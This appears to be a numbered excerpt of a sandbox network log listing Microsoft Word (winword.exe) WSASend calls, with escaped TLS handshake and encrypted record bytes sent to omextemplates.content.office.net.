  500. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xc4\\xa5q\r\\x8ez\\xab\\x8a\\xf7\\x86e#\\xa5\\xac\\xf80\\x19nuq\\xd8cvn\\xb5-r\\xc3\\xc0\\x01\\xe0\\xb9\\m\\x1axr\\xd7\\xc1\\xf5`\\x1b\\xf1\\x13\\x8a\\x9e\\xe2o\\x03\\x88g\\x05\\xf1\\x81h\\xb5`4tc\\x15\\xf7\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000c\\x08\\xc4l\\xe7fg\\xb0\\xef\\xed\\xe3\\x9dq\\xedl\\xed6\\xd7\\xe1\\xcf\\xdb\\x80\\xc0l\\x00f\\xd5^)e\\x8f\\x082\\x0f\\x0fv\\xcb\\xb2j\\x91h\\xe8z\\x84o`\\xd7\\xa5"
  501.  
  502.  
  503. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04ky\\x1a\\xcb#\\xaf^\\xe0\\x91\\xec\\xbbf\\xea\\x95s\\x9a\\x9c5&6\\x02z\\x86\\xcbp\\x03\\x0b\\xbcfjk\\x8e\\xca5crz\\xf8\\xd9\\xde\\xfe?\n\\xc8 c|\\x1dg\\xf5\\xd5\\xe4\\x0c4f%\\xf9\\xaf\\xc39\\xdf\\xf8\\xa9\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xd9\\xe5@d\\xdfuev\\x17\\xe7\\xc4\\x10\\xe6za'yjv\\x195\\xc4hh\\x01\\xe3\rx\\xc5\\xf9s\\xd2\\x04\\x8a;!k\\xf3\\xfd:\\xf6\\xf8$\\x19m\\x02z\\xf3"
  504.  
  505.  
  506. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010<ew\\xb9\\\\xed?\\xc1+\\xa1\\xf9\\xf8\\xc6j\\xd8\\xc2\\xa0\\x87\\x08w\\xc1\\xd2\\xd6\\xbbj\\x16\\xa5!\\xd1\\x9btr#\\xf9\\xc4fd\\xb8uo\\xb4\\x83\\x99\\xaa\\x83\\xcd\\x99\\xbf\\x86\\xcf\\xfb\\xe6\\xa9\\x06\\x0fj\\x90\\-$\\x9cb\\x9emw'\\xa6\\xec\\xc9a\\x86\\x9d\\x05\\x92\\xb3\\xfb\\\\xc9\\x0c\\xb5\\xbcu\\xc7u\\x10q+\\x91\\xee\\xb7~r\\x1b\\xafwi\\xcet\\xe1+5\\x19i\\xa9h\\x98\\xa8\\x97\\xf0m\\xd9x\\xf48\\x88_\\xd2\\xe0\\xc0\\xd9n\\x9a=x\\xa7\\x03c\\xcc\\x0c\\x01\\xdf\\x92\\xeb\\xd7\\xe4t1'\\x1ecu\\xb0\\x97\\x8a\\xffayu\\xac\\xa0\\xaa\\xafo\\x9b\\xd8\\xfc\\xb3\\xb8i\\xac\\xc2\\xaew\\x15\\x1e5\\xb5d\\xb0q\\xe9\\xb7*4\\x90)\\x90cg\\xb9?5x\\xeb\\xa4\\xdc\\xdc\\xe6\\xb3\\x99$\\xc1\\xd2\\xf5\\xbac> \\x8a\\xbfw|g\\xa6\\xc3\\xd4w\\x9f\\xd6pm\\xea\\xa2\\x15\\xcc\\xd6y\\x90\\x01\\xc6?\\xb8\\xc0\\xd5\\xea89\\x7f\\x07\\xc8\\x08del\\xd5\\x14\\xa0\\xd3\\k\\xc1\\xf9\\xaerrm\\x15\\x9fs"
  507.  
  508.  
  509. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa2b\\xb5c\\x9c\\xff\\xfd\\x98\\xe9\\x876\\x17\\x03\\xd3.l\\xedg\\x93\\xd23\\xfa\\xab\\x88l6\\xd3(\\x91\\x0f07\\x1dd\\xc0\\xce\\xc5\\x14\\xef\\xa3u_\\x84\\x05\\xc66\\x1b\\x96f.\\xfb\\x00\\x86g\\xb22i\\xee\\x97v\\x01_\\xe0\\xa8\\x80\\xed\\x05\\x8d\\xdb\\x89\\xf8\\xd0\\xa8>ve?_z?k%\\xd8\\xd2\n\\xef=\\xb9#\\xb4s\\xcbze\\xfd\\xec^uw\\xecm\\xda\\xea\\xd9\\xd3\\x18\\xd6ktq\\xafy`u@!\\xc4\\xdd\\x8a\\xe3\\xa13n\\xff\\x17o\\xed;\\x98uj\\x9f+\\x087 \\xbd\\xf3\\x17\\xbbr-\\x15)\\x82\\x00\\xc9v\\xb8\\x9d,\\x92\\x9dyx\\x16\\xc3\\x80\\xb3\\x01\\x04\\xb6\\xe9\\xf2t\\xb9\\x8cn\\x8a\\xad\\x88\\xc5\\x01\\x1d\\xbdj\\x8cz\\x94\\xe2\\x86i\\xc11#\\x11psfw!\\x99|\\xcc\\xae6\\xdec\\xef%\\x1c0e\\xe3\\xfft3+svm\\xfc\\x84\\x9f\\x7f\\xbbn\\xd9\\xea\\xce\\xba\\x11x\\xd7\\x13\\xeaq\\x84\\xf5\\xf5?r\\x84c=m\\xf8\\x93\\x91w\\xac\\x1b\\x13\\x12_h:"
  510.  
  511.  
  512. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9apn\\xfbxj8\\xbec3\\x01`\\x0e\\x86\\xaa\\x12=\\xe9\\xbd?\\x89s\\xb5\\xf4\\xb8\\xc2|\n\\x03\\xfc\\x163\\x98c\\x8a\\xbf\\x80\n\\xfdv\\xe1\\xc1\\x03\\x9bx\\xed\\x8cf\\x81)\\x1c7$\\xed\\xcc\\x8e%\\x84\\xea\\x9a\\xc0/\\x7f\\x88\\x97d\\x99cmu\\xb0\\xd0\\xe7\\xf4\\xaa\\xcb\\x8b\\xb1\\xecbef\\xa4\\xf3u\\xda\\xfbm\\x19\\x16\\xc3\\x1f-\\x87% \\x80\\xcb\\x8dcc_&\\xaf\\x8a\\xc8$\\xebmv\\xe8l\\x89\\x1f\\xf0l?+\\xe1x\\x0b \\xf8\\x15\\xb9\\x90\\x06%pu\\xa8\\xcc\\x8am\\x0f\\xfd74|\\x85\\xcb\\xa2\\x8c\\x045a\\xd7\\x11a\\xdf\\xbb\\xfc\\x00m%\\xf3\\xa6&,\\x02\\xfc\\xc1itk\\xed\\x84\\x94c\\xe6\\x15e\\xd5 \\x89q\\xd3\\xaf\\xa0\\x19\\xd1x\\xd3\\xca\\xd25\\xa1\\x00kwgl\\x8eg\\xbbu\\xfa\\xeezb\\x00\\xfa\\xd9\\xce\\xc8\\xb5e\\xdf\\x19t/\\x19|\\x98\\xac\\x14\\xce(*\\x9b\\xce0\\x96\\x89\\x95\\xde\\x9bm\\x86p\\xe1\\xb8\\x1b\\xee?v\\xcap\\x94\\x95\\x88\\xaeg\\xfe\\xff"
  513.  
  514.  
  515. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010l\\x9d\\xda\\xf9\\xb6\\xeb\\x18\\xfe8&\\xa4\\xc6\\x06\\x18;\\xa0y\\xc8\\xfb\\xc2\\x89ley\\xc6\\xd3\\x9ar\r\\xf9\n\\xc4\\x93undns\\xd3\\xe8`\\xe8op\\xe6.f\\xae\\xc3\\xe8\\x1a\\x0e\\x90tk\\x99t\\xd1rc\\xc8\\x0bj3\\xe9s\\xae`_c\\xa9%\\x889\\xa9\\x06\\xa3\\xb36ow\\x85s8\\xd6\\xc5\\x0b\\xe7+*\\xabr\\xfa\\xdb\\xab\\x1e\\xa8\\xe4\\x9e\\xc3c\\xedgbuu\"\\xa5\\x9f\\xdb\\xdb\\xff\\x10.\\xf2\\xee\\xb4\n\\x9d*\\x01d\\xc8bw\\x97\\x1f \\xffe~\\xa1\\xfe\\x04\\x9c\\xd9\\xcb\\xd7\\x8f\\xfd\\x07\\x1fml^\\x92\\xa7\\x8b\\xf8g\\x9d\\xcf\\xa3\\x80\\x1bn\\xafv\\xb1\\xc9\\x8b\\x87\\xaao\\x14\\x80\\xb6\\xb449\\xa4\\xb4\\xc0m\\xa0o\\x9c\\xb6c\\xd3\\x85\\xea\\x81\\xdc\\x11ee\\xe4\\x7f\\xf9\\xcd\\x8a\\xc8zs\\x99\\x07\\xc7d\\x82\\x1828\\x1b?x\\xe4\\x0c\\xe4\\xbe\\x0e\\xe3;\\xe3e\\xf0vru-ij=\\x90y\\xdctb\\xf53\\x87\\xd7\\x82\\xc8\\xbf\\x84\t\\x93\\xcf\\x15&m\\xfa\\xd8+\\x87\\xeb\\x99"
  516.  
  517.  
  518. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010g\\x1du\\xddr\\xb2\\xc0\\xe4;l&\\xde\\xaa\\xec\\xb8\\xf5l(\\xc7\\x01x\\x93~xh\\x8e\\xc6\\xc3\\xe1\\x8d\\x9e\\xb7\\xb6\\xb5e\\x9c\\xbbz\\xaec)\\xe7\\xeb\\x01\\x92\r@\\xbb\\x08\\x1d\\x07&\\xf8+\\x97\\xe2\\xf2\\xbdv\\x92\\x8bs\\x84y\\xe2lc\\xa7\\x82v\\xcb\\x80\\x02\\xe5wf\\x17k\\x82\\x86#\\xe4\\x08'l\\xc3ub\\xed\\x1e\\x11\\xd4\\x18hm@\\x91\\x16\\x9a\\x19\\xdd\\xd0\\x7fz\\xf1y\\x14ek\\xea;e7\\xd7\\xbe\\xfb\\xd9x\\xc3x\\xaa,\\xc7\\x92j0\\x10 \\xfcy\\xfbo\\xf5\\x1c\\xf6\\xc3f\\x8a\\xb03je\\xdd\\xc1re\\xc9\\xe6\\xeahw<<m\\xdc\\xd1\\x106\\xfe\\x86>\\xc8\\xcd(u(\\x12^\\x11\\xb4\\xe4d\\x19m6\\xb7_\\xbdc>e):\\xf9\\x9d\\x07t\\xadj8\\x02uw\\x1f\\xf0\\xfe`\\x02\\x04|\\xd2\\x8d\\xc5|\\xaea\\xe3>2\\xd5\\x86\\xccv\\xa7e,\\x8b\\x1a\\xc4\\x15\\xe2\\xa6\\x9co\\x949\\xf4#p1\\xf5\\xa9\\xb5\\xfa\\xe1%d\\xe6\\xdem\\x08 w"
  519.  
  520.  
  521. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa9\\x86\\x10\\xddh\\xef~\\xd6l\\xd8=h\\x9a\\xf8\\x01,\\x98<ht;\\x15\\xc5w\\xdaw\\x9a\\xaff\\x02\\xa0\\x82m\\xe7\\x8d\\xac\\x13v&o\\xad\\x9c\\x94&t\\xa9!+\\x1e\\x87\\xd3\\x929\th\\x18\\x7fk!\\xcd\\xbc\\xd7mhe\\xabi\\x1azwm\\x96\\xcf\\x0c\\x83\\xef\\xbe\\xbd\\\\xb3\\x9blp\\xd0o\\x1a\\xedam\\xbdq\\xc4;\\xef\\xca\r\\x97\\xfd\"w\\xcb\\x02\\xa4\\xf6\\xa6\\xfcz\"\\x05\\xc0\\x80\\x01\"\\xe3b`\t3\\xe8u,_\\xa9x\\xb92\\xdc\\xe8q^'a\\xd0\\x93\\x00\\x0f\\x84;\\x95/\\xb4\\xde\\xed\\x1d\\xe6\\x8e\\x9c\\xb2'\\xd8\\xe2\\x7fzm\\xe0:\\xe5\\x95\t\\xd6\\xcd\\x8f\\xbf!\\xc2&\\xce\\xb0r8\\xe6n\\x11\\x1e\\x19xq\\x10\\xfa/\\xd7\\xe9\\x9a\\x81\\xc6\\xdb\\xd2\\x92\\x81\\xc4!\\xbc\\xac\\x95\\xa0\\x90\\xa4\\xaf\\x06\\x9a\\x89\\xce(l\\xf3i\\x8d\\x04\\xd1\\xb4-\\xe1\\xa9e-\\xe2m\\xf4\r\\xd7\\xba\\x0ej)\\xcc\\xa1\">$\\xefw\\x07\\xa1\\xc0\\xf8\\x8dd5\\x87\\xf3\\x90\\xc0\\x97\\x81\\xdb."
  522.  
  523.  
  524. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc7\\x13\\x81\\xccq\\x9ba\\xe4\\x15+\\x0c\\x98\\x9c`l\\xeb\rq\\x8f\\xb5\\xaf\\xb92\\x7f\\x91\\xec\\x95y\\xadhwa\\xcd\\xcb\\xe0\\xb3\\xbc\\xbb.*\\x0f\\xa0\\xf3\\x89\\x83x\\xb7w$\\xe6i\\x99\\x82\\xf6v(p\\xe1j\\xaba\\x07\\x96\"hx\\x08\\x1f\\xd9\\x84\\xda\\x8e\\x8bi\\x9f!\\xf1\\x1bv\\x0e\\xb7cq\\x12k\\xcc\\xdc\\xafa\\xe05^\\xd8\\xd1\\xca\\x00\\x1b\\xd6t-b\\xd6\\xfc\\x10\\xe6\\xa4\\x06\\xef\\xb7\\xe8b\\x8c\\x87\\x04\\xec\\xeb\\xa5:\\x9a\\x87\\x06\\xb10\\xfe\\xb6\\x1a\\x01z\\x0b\\xb7 \\xdc\\xe8\\xe6_\\x03\\xf9q\\x80.\\x9an;eal\\x1c\\x8adiv\\xcb\\xed\\xd6\\xab\\xd6b9\\xeb\n\\x9az\\xda\\xb4\\xe1\\xfa?\\x17\\xb9\\xcb\\x98\\xbe\\xc3z3\\xcf\\xbe\\xa3i\\xa5m\\x84\\x00\\xff\\xdd$\\xfe\\xc0\\x81\\xac\\xa7\\x7f\\x00\\xea\\xd0fn\\x9fw\\xcf\\x00tj\\xdae\\x8cr`\\xbc\\xad\\xd9\\xcbx\\xa7\\xc2\\xf1\\xc5\\xc0j\\xa7\\x0bm\\x8b\\x82\\x92r-\\xf8\\x7f\\xee\\xbc\\x98d2o\\x8b\\xd2\\x9dlrm\\xff\\x8b\\x861\\xe7t\\xf84"
  525.  
  526.  
  527. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb9q<z\\x08n\\x81mmq\\x1c\\xea|k\\x12t\\xbf\\xbb\\xb3.\\x94\\xb1+\\x84\\x0e\\xdf\\xb2\\x9c\\xc5\\xe6\\x90\\xf0\\xd5\\x91\\x9c\\xe9\\xab\n\\xf2\\xa0&\\xf2\\x16\\xda\\x914l\\x03\\x98\\xe1\\x11c)\\x1d\\xee\\xa4\\xf5\\xe3@5\\x02;\\xec\\xc16\\x90\\x9c\\xb5\\xe7\\xd5\\xac.\\xf5\\xbf\\xad\\xae\\xc1k\\x95\\xf6\\xca\\x8d\\x88p\\x98/\\x84\\xc6!^ljl\\\\x00\\x0fn\\xf2\\x10#\\x9a\\x0b\\xe9\\x17\\x86\\x85jy\\xd6\\xe7\\xc5\\xdf\\xcb:6w>\\xaa\\x9aj)\\xd7\\xc1\\x0b7\\xd9\\xd9\\x12x\\xfa\\x13\\xcf4\\x07)\\xab\\x9de\\xf9,#\\xde\\xa7s\\xca\\xa4\\xc7\\x0f\\xbb\\x89g\\x05\\xd4\\xbb\\xfc\\xec\\x99\\x9c\\xedc>\\x00\\xf5\\xdd\\xc4,o\\xb1y\\xddf\\xe3m\\xccqd\\x88\\xeb\\xa80\\xdc\\xf6b\\x93d\\xdbiz\\xe0\\xd6\\xa9\\xe9\\xd9\\x1a\\xc0\\xcf4?|\\xd6g\\x1b\\xb9\\xeb\\xd3\\xca|\\x17n\\xdb\\xa5&\\xd8\\xbb\\x80\\x93\\xf8\\x875|!5\\x99p\\xe8\\x15\\x85\\xbf\\x97\\xfa\\x08\\xd8\\xf8\\x9d\\x01\\x97\\xdal \\xd4\\xf1\\xa2\\xa5s\\x82\\xedk=\\xb5"
  528.  
  529.  
  530. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010u\\xf0\\xb6\\x1c\\x9b\\x8fn5q)ay\\xd4\\xeb\\x80=\\xdf\\xb1mf\\x92\\xb4qd\\xbd\\xe4\\xbcz\\x18\\xa50.f\\xe5bhd\\x97d\\xd1\\x05kt\\xc0g\\x1a.\\xcbi\\x9f$\\xaf\\xeb\\x10\\x85\\xa6\\xcae\\xdev\\xee\\xe5\n\\x91\\xe3\\xd9o\\xb0\\xc3\\x1d\\xe96\\xfa9a\\x02\\xde\\x8e\\xe0nz\t\\x18u8v\\x1c\\xd1\\x01\\xf7\\xa2\\xc3,5\\xd4y6at\\xb8\\xc8\\x9d\\xc3\\xb6\\x1b\\xcc\\xf8\\x85h\\x0b\\xc4\\xfd\\xfd\\xa0\\xa4\\xbc\\xfbx\\xeb5\\xa3\\xfaj7\\xe2\\x93\\x8d\\xec\\xccfj\\xc6\\xf9\\xda;'\\xe3\\xfdwe^\\xfb\\x1en#\\xca\\x90\\xfb\\xa53jl\\x81\\xa3\\xfc\\x81\\xa5lloxcx\\xbe\\xdf\\xbc\\xdd\\x9f\\xfb\\xe4\\xa1fc\\x95\\xe5>e\\xbd\\xf0\\xdf\\x10>\\x10\\x13 \\x18\\x16\\xe6\r;\\x99\\x98\\xcd\\xf4\\x85\\xfb\\xea\\xf3u\\xa4\\xc8#\\xe2\\xb5\\x99-\\x08@\\xac\\x1bw\\x8d\\xae\\xa2a,\\xb1^\\xdb\\x11\\x84?n\\xca\\x01\\xd1\\x98\\xa9\\xbe\\xec\\xa9\\x03\\x07tn\\x87'\\x04\\x80y&1\\xf8\\x99\\xc8\n"
  531.  
  532.  
  533. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe0^i\\xba\\xd3\\x7f\\x03\\xeb\\x1b\\x89\\xear\\x1f\\xef\\x8f\\xfd\\x9e\\x1ag\\xb9v\\x8d\\xc5t\\xa4\\x89\\xd0\\xf8\t\\xcc\\x18ow\\x8f\\xea\\x95e\\x01n\\xc2\\x8d\\xee\\xb9\r\\x98\\xd2=\\x1b\\xd5_\\x92\\xb3\\x02\\xfb\\x98w\\xe4z\\x142'\\xe6z\\xc0\\xf6in\\xa6\\xd0\\xa0\\x15\\x9e\\x89o\\xbf=x\\x91\\xba\\xe7\\xec\\xb4\\xb3\\xb4\\xdc\\xd4b\\x83\\x074\\xb4<\\x13\\xfd\\x8b\\xa2\\xd8\\x1a\\x08\\xfahy\\xd17\\x855\\xeb\\xab\\xd8\\xbf\\xb5c\\x94\\x0c+\\x8d\\xad\\x105r,\\x922.\\x9f\\xc2\\xd4e9f>\\xf4\\x11\\xff&\\xb1\\xaa\\xfe\\xe4\\xae\\xfch_\\xc4\\xed|0diyq\\xacr\\x87\\xcb+k\\xce\\xa5\\x0f\\x8f\\xe0\\x9b\\x89\\x8f,0\\x16\\x9e\\xde\\xcc?\\xf1`\\xb2\\xa3\\xadb\\xadqtw\\xf6\\x9d\\x847fzq\\xc7y\\x18\\x85)/~-x$\\x81\\x826\\xc1d\\xc7\\x9a\\x16\\x0b\t\\xbf\\x8e\\xb8s\\xe7_(m\\x0bb\\xed\\x83om\\x12\\x93:'\\x00\\xcb\\xa4d`\\xa3\\xcdo\\x1fg\\x90\\x9e\\x84e?t~\\xc0"
  534.  
  535.  
  536. "http_request": "winword.exe_WSASend_\\xf6\\x01\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17f\\x1f\\xeb\\xae\\x0e\\x8du\\xbd\\x0fu\\x997\\xfd\\xdd>y\\xc3\\xcd,\\x1fmi\\xb9h\\xdb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  537.  
  538.  
  539. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x060\\x8f\"d\\xf0\\x9a'\\x0f\\xe7\\xae\\xc7\\xe4h\n\\xca\\x03g(\\xc8\\x91\\xf2f\\xda\\x9a\tx\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  540.  
  541.  
  542. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x1c\\x06\\xe06!\\x85r\\xa8\\x02\\x9f/c!/\\x96?\\xac\\xfc\\x91#\\x9b\\xed\\xa2\"\\xe7\\xfe\\x0f\"\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  543.  
  544.  
  545. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x81\\x07\\xa0\\x16\\xe0w\\x13w\\x0c\\xc15\\xdbf\\xd0\\x98\\x13vx(\\x12^)\\xd7\\x15\\xf1\r\\x9c\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  546.  
  547.  
  548. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xb3~z\\xcf\\x01\\x05t\\x8a\\x9e6\\x7f\\xf6\\x83p\\xb7\r8~1\nrn\\xa1\\xe6\\xdc\\x81\\x02\\xaf\\xeb\\x17bx@\\xa7\\xcc<\\xa5\\xba\\x95yo5\\xa1\\xa3z2\\xb1p\\xbd^\\x97j\\x18j\\xaa\\x083\\x8d\\xfb\\xc6i\\xb7\\xc2\\xa2\\xb9\\xcc\tbb\\xc7\\xb5\\x7f%&z\\xba\\x81\\x1f\\k\\xe3:v\\xa5\\x08\\xca \\x9b\\xf7\\xc0\\x8ft\\x8f\\xae\\xaat\\x86\\xf7\\xf7~\\xb7\\xcc\\x94\\xd9\\xf1\\xda\\xe9ue\\xc9\\xb3u\\x84l\\xc5r\\x05\\x90\\xa1\\x86\\xca\\x05<zbod-\\xee\\x99!v#\\x8b\\x98\\x8a\\xcdk3\\xf1\\xf31\\x0bb28.\\x0b\\x81\\x8c\\xd2\\xc3\\x1e-\\x85\\xa7\\xf7\\x8e\\x8cy\\xcb\\x96;\\xdbb\\xc61u\\xeb\\x8bj\\xf3\\x93p\\xd3/\\x93\\xad\\xc21\\x1e\\xd4\\x82'\rdk\\xce\\xcf\\x81.\\xcfm3\\xc1\\xdb\\xa4\\xc1\\xb4\\x1e\\xfa\\xa0\\x06\\xbe'\\x97y\\x9f\\xa3\\x93\\x93\\xca \\xed\\xe3\\x19\"\\xaf\\x04\\x1ao\\xaf\\x96\\xae\\xa8g^\\xd9\\x01\\x89\\xa2\\xbd?g\\xb2\\xf1\\xef\\x92\\x85h\\xa9\\xc0j\\x04\\x1bu"
  549.  
  550.  
  551. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xce#.\\xf0\\x8b\\xa8\\xc5\\xf8\\x80m2\\x93\\xe3\\xc5\\xa0.\\x13\\xdbwuu\\xd0='_\\xb3ot\\\\x17\\xe3vr\\xd0\\xbe^\nn`\\xf7\\xa4\\xc9\\xb5\\xe2\\xe0\\xba\\x0b\\x91\\xe3mm\\xf8:\\x84\\x84\\xe6\\xc1n\\xa5\\xd3\\xe6\\x04\\x97\\xec3\\x0b\\xda,/\\x16\\x04\\xd3z\\xf8\\xa5g\\x13zw*z\\x92\\xb7\\x88s\\x14\\xd7$1_g(\\xfd\\x10m \\xac|i\\xe2\\x12d\\xc7t\\xf7\\x89;7\\x84\\xd0g\\x84\\xc7ocm?\\xcd@f\\x96m\\xaa\\x8b\\xf3\\xe9j\\\\xaf\\x9d\\xd9q\\xc3\\x81a\\xc8\\x95x\\x88\\x81h\\x0e\\xe8\\xe2\\xe3\\xb2+uk+\\xbf\\x90\\x1fm\\xbf\\xba\\xed\\x9b\\x8e\\x91\\xbb\\x94\\x00e\\x16\\x16\\x9b\\x81\\xe1\\xbf\\x04\\xbe\\xed\\xd5\\x05\\x80\\xce\\xc7\\xc7\\x86\\xee\\xb6\\x13\\x16\\x19\\x96\\xb3\\xd5\\x00\\x11\\x12\\xads\\x02\t\\xf1o\\xbeu\\xe9z\\x1c\\xc0/\\x96\\xa3k\\x1b\\xe70\n6<)\\xd1q\\xbe\\xc9\\x87\\xc2\\x907ar\\xc0\\xdem\\xf8\\xd5\\xe6\\xd9\\xf0\\xd3\\xff\\x95\\xe4\\x8f\\xc5\\x076\\x85@\\xbe#\\xff?t\\x80"
  552.  
  553.  
  554. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xab\n\\x9e\\xd8\\x1d\\x9b\\xd6\\xbf\\xa2\\xc4c\\xaeu\\xbea\\x97\\xdf?\\x9e\\xa5\\x87\\x8bqubq\\xea\\xe1\\xc4\\xac\\x16\\x8fn\\x8cwm=w\\xeel\\xaa\\x99\\x18\\xe6\\x01\\x0cv\\xd1\\xeb\\xe5\\x91_$\\x9b\\xf3#\\x1dd\\xeaejl:\\x00q?\\xc4\\x1f\\x92\\x10\\x8crfq\\x93\\xce\\xa5\\x04\\xf2\\xbe\\xf5\\xa8\\xbdr\\x85r\\xc4\\xd9\\x14\\x9b`\\x1c\\xf9\\x08\\xb9a\\x92\\xd5m\\x7f\\x83\\x8a\\xcbytrd\\xd7yzph\\xc9\n|u=c\\x85\\xd2o\\x12q(7-)|e\\xa5\\xc3\\xb7\\x17\\x00\\xa6\\xff\\xae\\xa0)*\\xfb\\x1d\\xac\\xb1\\x07\\xc0'\\x9dt\\xd1\\x10\\xbb<)zy\\xfbqm\\x81h4r\\x02+\\xa8^d|\\x97\\xf9\\xa4\\xb0\\xe6+\\xb3j\\xb3\\xdd2>\\xb4\\xa5@\\xcb\\x8a\\x9b\\xd3\\xd9to\\xf5z\\xd2\\xcc\\x9b\\xa6\\xc89d\\xb7(\\xfa`.\\xf6\\xf4%\\xc6/5\\xc76\\xfd&\\xba\\xbc\\xc8\\xbb!\\xf7\\xfe\\x17\\xf5\\x80xr@!\\xd9yi\\xdc\\xd6x71v1\\x19\\xb3\\x93vyf\\xf9"
  555.  
  556.  
  557. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01:k\\x17\\x15b\\xa3\\x86h6jc\\x90m\\xe1\\x03#\\x10\\xdf\\xc8/nt\\x84\\xe5\\xc3\\x9e\\x8b\\xa8\\xb0^\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  558.  
  559.  
  560. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf3j\\x90\\xb6\\x18\\x9f\\x89\\xd5;\\x90\\xb7a\\x1c\\xce\\xf00\\xac\\xdf2+dcz,q\\xf5s0`7\\xafw\\x0bo\\xe3v\\xefl*z\\xf2\\xe0\\xc8\"\\x9c\\x0e\\xe8`\\xa1\\x08kf\\xc28\\xcad\\x0c\\x17\\xe0?\\xc5\\xce\\x8bj\\x02:\\x96\\xb2\\x91p\t\\xd9\\xd5#\\x97u\\x8a4'\\x90\\xae\\x87b\\xc1\n\\x04\\xdce\\xec\\xf1\\xc9\\xe3\\x0eu \\xc7\\xd6\\xfe\\xbd\\xb0\\x88\\x08\\xc0\\xc19j+?\r\\x89\\xc2k\\x99\\xda\\x8c \\x89\\x9czl~\\xd9\\xd6\\x8ek\\xd5\\x1fp\\xf7\\xdb\\xbb\\xbb.\\xcd\\x03\\x91\\xa5\\x13\\xael\\xb4\\xfd\\x8e\\xa6\\xa1q3v\\x8bi\\x1c\\x88v\\x9a\\xb4m\\x95qn\\xfe\\xb8\\xf2\\xb6.\\x86ap_\\x0b\\x96\\x86\\x8a\\x7f\\x83\\xadfm\\xdc:\\xb9|\\x0c\\x9c\\xc7$\\xf4.%2\\xb3~\\x97\\xea\\xc2\\x0f\\xb6h\\x0c\\xa2\\x87\\xc0\\xa2\\xa2\\xfbq%\\xba\\xd1\\xcejg\\xeb\\xb5\\xbdr\\xb8<\\x05\\x11|h~\\x16\\x9f\\xf8i\\xc0\\x11\\xd1\\xdb\\xa4\\xf2\\x14k\\xee\\x8f\\xb9\\xcc\\xa9^\\xe10\\xfc+"
  561.  
  562.  
